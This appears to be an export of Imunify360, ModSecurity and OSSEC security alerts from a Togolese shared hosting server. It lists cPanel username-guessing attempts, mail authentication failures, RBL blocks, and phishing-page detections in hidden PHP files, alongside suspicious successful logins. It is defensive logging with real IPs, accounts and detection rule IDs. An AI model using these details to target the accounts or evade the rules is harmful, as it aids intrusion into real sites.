47.128.96.199 - - [15/Jun/2026:22:24:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196423&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgouvernement-togolais-2024%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781562261 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/gouvernement-togolais-2024/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.199


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.59.157
country_id: 6252001
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.541182906263121.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.68
country_id: 3017382
description:
[2026-06-15 22:24:54 +0000] info [cpaneld] 5.231.255.68 NEW wcnyaruu:i9MwEsUbzwK50P43 address=5.231.255.68,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.34
country_id: 2635167
description:
[2026-06-15 22:25:10 +0000] info [cpaneld] 5.230.153.34 NEW ifxmoxbf:_melaKqvRPKI9QBz address=5.230.153.34,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.82.68
country_id: 6252001
description:
[2026-06-15 22:25:14 +0000] info [cpaneld] 134.195.82.68 NEW ifxmoxbf:fGAopWLGlwJWUnYF address=134.195.82.68,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.223
country_id: 2635167
description:
[2026-06-15 22:25:16 +0000] info [cpaneld] 5.230.133.223 NEW ifxmoxbf:J6_ND6eXwBkQp4PH address=5.230.133.223,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.110
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.884122514700246.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.50
country_id: 3017382
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.646733264612834.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.122.95
country_id: 99237
description:
[2026-06-15 22:26:25 +0000] info [cpaneld] 212.237.122.95 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.10.184.77
country_id: 1643084
description:
[2026-06-15 22:26:28 +0000] info [cpaneld] 157.10.184.77 - brmn "GET /login/?login_only=1&user=brmn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brmn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.177.155.167
country_id: 294640
description:
[2026-06-15 22:26:31 +0000] info [cpaneld] 79.177.155.167 - brmntg "GET /login/?login_only=1&user=brmntg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brmntg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.58.175.221
country_id: 2017370
description:
[2026-06-15 22:26:37 +0000] info [cpaneld] 194.58.175.221 - br "GET /login/?login_only=1&user=br&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user br (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.50.7.238
country_id: 2464461
description:
[2026-06-15 22:26:26 +0000] info [cpaneld] 165.50.7.238 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.99.59.51
country_id: 3658394
description:
[2026-06-15 22:26:29 +0000] info [cpaneld] 191.99.59.51 - brmn "GET /login/?login_only=1&user=brmn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brmn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.249.121.217
country_id: 3017382
description:
[2026-06-15 22:26:34 +0000] info [cpaneld] 86.249.121.217 - brm "GET /login/?login_only=1&user=brm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.190.167.138
country_id: 3996063
description:
[2026-06-15 22:26:37 +0000] info [cpaneld] 187.190.167.138 - br "GET /login/?login_only=1&user=br&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user br (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 196.115.92.51
country_id: 2542007
description:
196.115.92.51 - - [15/Jun/2026:22:28:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133930&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fnouveaux-cas-positifs-de-coronavirus%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781562525 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/nouveaux-cas-positifs-de-coronavirus/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.1679.1604 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.115.92.51


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.25.16.169
country_id: 3932488
description:
38.25.16.169 - - [15/Jun/2026:22:28:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9855640&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Freseau-de-voleurs-de-motos-demantele-a-zanguera%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781562517 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/reseau-de-voleurs-de-motos-demantele-a-zanguera/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.9247.1174 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.25.16.169


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.138.144.202
country_id: 1210997
description:
Jun 15 22:34:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.138.144.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.138.144.202
country_id: 1210997
description:
2026-06-15 22:34:23 dovecot_plain authenticator failed for H=(0jhbj0ryf5t8dytgl2) [103.138.144.202]:49013: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 179.61.166.190
country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:179.61.166.190||TA:179.61.166.190||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.59
country_id: 690791
description:
2026-06-15 22:38:11 H=([77.83.39.59]) [77.83.39.59]:53899 F=<qr11@lifecf.org> rejected RCPT <whiteway@white-ways.com>: The mail server could not deliver mail to whiteway@white-ways.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.43.162.228
country_id: 1814991
description:
Jun 15 22:41:52 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.43.162.228 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.43.162.228
country_id: 1814991
description:
2026-06-15 22:41:54 dovecot_login authenticator failed for H=(253.pool90-160-113.dynamic.orange.es) [175.43.162.228]:59770: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.38.56.30
country_id: 2017370
description:
[2026-06-15 22:42:35 +0000] info [cpaneld] 92.38.56.30 - togoathletism "GET /login/?login_only=1&user=togoathletism&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathletism (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.35.144.5
country_id: 3996063
description:
[2026-06-15 22:42:43 +0000] info [cpaneld] 38.35.144.5 - togoathlet "GET /login/?login_only=1&user=togoathlet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathlet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.165.60.34
country_id: 2017370
description:
[2026-06-15 22:42:51 +0000] info [cpaneld] 5.165.60.34 - togoath "GET /login/?login_only=1&user=togoath&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoath (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.43.162.228
country_id: 1814991
description:
Jun 15 22:42:55 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.43.162.228 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.48.216.106
country_id: 1605651
description:
[2026-06-15 22:42:33 +0000] info [cpaneld] 49.48.216.106 - togoathletismetg "GET /login/?login_only=1&user=togoathletismetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathletismetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.6.15.160
country_id: 3625428
description:
[2026-06-15 22:42:54 +0000] info [cpaneld] 190.6.15.160 - togoat "GET /login/?login_only=1&user=togoat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoat (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.43.162.228
country_id: 1814991
description:
2026-06-15 22:42:57 dovecot_login authenticator failed for H=([107.181.161.85]) [175.43.162.228]:34371: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.227.183.157
country_id: 3865483
description:
[2026-06-15 22:42:59 +0000] info [cpaneld] 190.227.183.157 - togoa "GET /login/?login_only=1&user=togoa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.74.69.165
country_id: 290557
description:
[2026-06-15 22:42:22 +0000] info [cpaneld] 91.74.69.165 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.216
country_id: 2635167
description:
[2026-06-15 22:43:52 +0000] info [cpaneld] 5.230.133.216 NEW ifxmoxbf:biDrsWgWUc1vLmP7 address=5.230.133.216,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.146
country_id: 2635167
description:
[2026-06-15 22:43:36 +0000] info [cpaneld] 5.230.133.146 NEW wcnyaruu:kXfHfl5w0NWYgiSW address=5.230.133.146,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.64.90
country_id: 3017382
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.986997965767545.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.135.189.29
country_id: 660013
domain: www.lasnb.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg/uploads/images/121.jpg HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 181.177.86.18
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-44.181.177.86.18||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.143
country_id: 1880251
description:
47.128.96.143 - - [15/Jun/2026:22:45:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803668&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcanal-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781563512 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/canal-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.143


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.252.238.2
country_id: 2186224
description:
[2026-06-15 22:46:26 +0000] info [cpaneld] 27.252.238.2 - istm "GET /login/?login_only=1&user=istm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user istm (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 13.83.114.68
country_id: 6252001
domain: kpmg.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/121.0.6167.85 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.198.100.252
country_id: 1814991
description:
2026-06-15 22:48:55 dovecot_login authenticator failed for H=(A4xTKgKsn) [223.198.100.252]:51818: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.11.87
country_id: 3077311
description:
Jun 15 22:49:54 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.11.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 163.198.110.164
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-49.163.198.110.164||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.198.100.252
country_id: 1814991
description:
2026-06-15 22:50:03 dovecot_login authenticator failed for H=(pE4tudA) [223.198.100.252]:52039: 535 Incorrect authentication data


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 163.198.110.164
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-50.163.198.110.164||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.3.164.243
country_id: 1880251
description:
[2026-06-15 22:52:05 +0000] info [whostmgrd] 103.3.164.243 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 103.3.164.243
country_id: 1880251
description:
[2026-06-15 22:52:07 +0000] info [whostmgrd] 103.3.164.243 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.223
country_id: 3469034
description:
Jun 15 22:53:48 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.223 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.157
country_id: 6252001
description:
[2026-06-15 22:55:10 +0000] info [cpaneld] 64.44.59.157 NEW wcnyaruu:qyDkLVUN8fLodG2q address=64.44.59.157,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.108.96
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:163.198.108.96||TA:163.198.108.96||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 15 23:05:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.37.175.211
country_id: 285570
description:
[2026-06-15 23:05:50 +0000] info [cpaneld] 37.37.175.211 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.182.241.44
country_id: 3658394
description:
[2026-06-15 23:05:53 +0000] info [cpaneld] 201.182.241.44 - mafisteel "GET /login/?login_only=1&user=mafisteel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.119.93.182
country_id: 1562822
description:
[2026-06-15 23:06:08 +0000] info [cpaneld] 42.119.93.182 - mafis "GET /login/?login_only=1&user=mafis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.71.243.132
country_id: 2017370
description:
[2026-06-15 23:05:51 +0000] info [cpaneld] 178.71.243.132 - mafisteel "GET /login/?login_only=1&user=mafisteel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.50.22.244
country_id: 290557
description:
[2026-06-15 23:05:56 +0000] info [cpaneld] 2.50.22.244 - mafisteeltg "GET /login/?login_only=1&user=mafisteeltg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteeltg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.99.75.26
country_id: 3469034
description:
[2026-06-15 23:05:57 +0000] info [cpaneld] 138.99.75.26 - mafistee "GET /login/?login_only=1&user=mafistee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafistee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.190.60.86
country_id: 337996
description:
[2026-06-15 23:06:05 +0000] info [cpaneld] 196.190.60.86 - mafist "GET /login/?login_only=1&user=mafist&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafist (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.215.234.242
country_id: 6252001
description:
[2026-06-15 23:06:18 +0000] info [cpaneld] 97.215.234.242 - maf "GET /login/?login_only=1&user=maf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 83.226.162.170
country_id: 2661886
description:
[2026-06-15 23:05:49 +0000] info [cpaneld] 83.226.162.170 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.82.238.79
country_id: 3625428
description:
[2026-06-15 23:06:00 +0000] info [cpaneld] 200.82.238.79 - mafiste "GET /login/?login_only=1&user=mafiste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafiste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.61.247.148
country_id: 3686110
description:
[2026-06-15 23:06:05 +0000] info [cpaneld] 181.61.247.148 - mafiste "GET /login/?login_only=1&user=mafiste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafiste (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.126.88
country_id: 294640
description:
2026-06-15 23:05:25 dovecot_login authenticator failed for H=(169.47.246.220.static.netvigator.com) [2.55.126.88]:57845: 535 Incorrect authentication data (set_id=ayi@ekeasarl.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.152.154
country_id: 6252001
description:
2026-06-15 23:05:46 dovecot_login authenticator failed for H=(inger.tg) [104.28.152.154]:39316: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.233.243.152
country_id: 3686110
description:
[2026-06-15 23:06:16 +0000] info [cpaneld] 201.233.243.152 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.23.28.74
country_id: 3865483
description:
[2026-06-15 23:06:16 +0000] info [cpaneld] 186.23.28.74 - mafi "GET /login/?login_only=1&user=mafi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafi (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.55.126.88
country_id: 294640
description:
Jun 15 23:05:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.55.126.88 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.205.109.104
country_id: 2921044
description:
[2026-06-15 23:06:10 +0000] info [cpaneld] 93.205.109.104 - mafi "GET /login/?login_only=1&user=mafi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.229.89.49
country_id: 3469034
description:
[2026-06-15 23:06:10 +0000] info [cpaneld] 45.229.89.49 - mafist "GET /login/?login_only=1&user=mafist&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafist (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.114.35.254
country_id: 3895114
description:
[2026-06-15 23:06:21 +0000] info [cpaneld] 190.114.35.254 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 109.248.138.109
country_id: 2017370
domain: belali.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:adm997106960280||Email:gavinovsyanov88033@stelisimo.ru||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 109.248.138.109
country_id: 2017370
domain: belali.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:23-08.109.248.138.109||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.97.52.150
country_id: 2589581
description:
[2026-06-15 23:10:04 +0000] info [cpaneld] 41.97.52.150 - direc "GET /login/?login_only=1&user=direc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.157.148.207
country_id: 2017370
description:
[2026-06-15 23:10:14 +0000] info [cpaneld] 178.157.148.207 - di "GET /login/?login_only=1&user=di&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user di (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.64.111.196
country_id: 2542007
description:
[2026-06-15 23:09:59 +0000] info [cpaneld] 196.64.111.196 - direct7tg "GET /login/?login_only=1&user=direct7tg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direct7tg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.5.75
country_id: 3017382
description:
[2026-06-15 23:09:46 +0000] info [cpaneld] 51.83.5.75 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.125.4.144
country_id: 1327865
description:
[2026-06-15 23:09:52 +0000] info [cpaneld] 45.125.4.144 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.44.194
country_id: 3895114
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.239.44.194||TA:104.239.44.194||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.196.16
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.252.196.16||TA:104.252.196.16||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.82.102.118
country_id: 3686110
description:
[2026-06-15 23:10:02 +0000] info [cpaneld] 186.82.102.118 - direct "GET /login/?login_only=1&user=direct&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direct (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.120.32.113
country_id: 3469034
description:
[2026-06-15 23:10:11 +0000] info [cpaneld] 187.120.32.113 - dir "GET /login/?login_only=1&user=dir&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dir (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.154.243
country_id: 2635167
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:107.181.154.243||TA:107.181.154.243||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.243.242.210
country_id: 3625428
description:
2026-06-15 23:12:07 dovecot_plain authenticator failed for H=(x6ugt2im3dkzupj982em7un46) [201.243.242.210]:35503: 535 Incorrect authentication data (set_id=netflix@emt.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.173.80.251
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:216.173.80.251||TA:216.173.80.251||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.242
country_id: 2635167
description:
[2026-06-15 23:16:10 +0000] info [cpaneld] 5.230.153.242 NEW ifxmoxbf:nwdt18uhPwvGahqV address=5.230.153.242,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.245.241.194
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.245.241.194||TA:104.245.241.194||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.62.169
country_id: 6252001
domain: togofarm.tg
description:
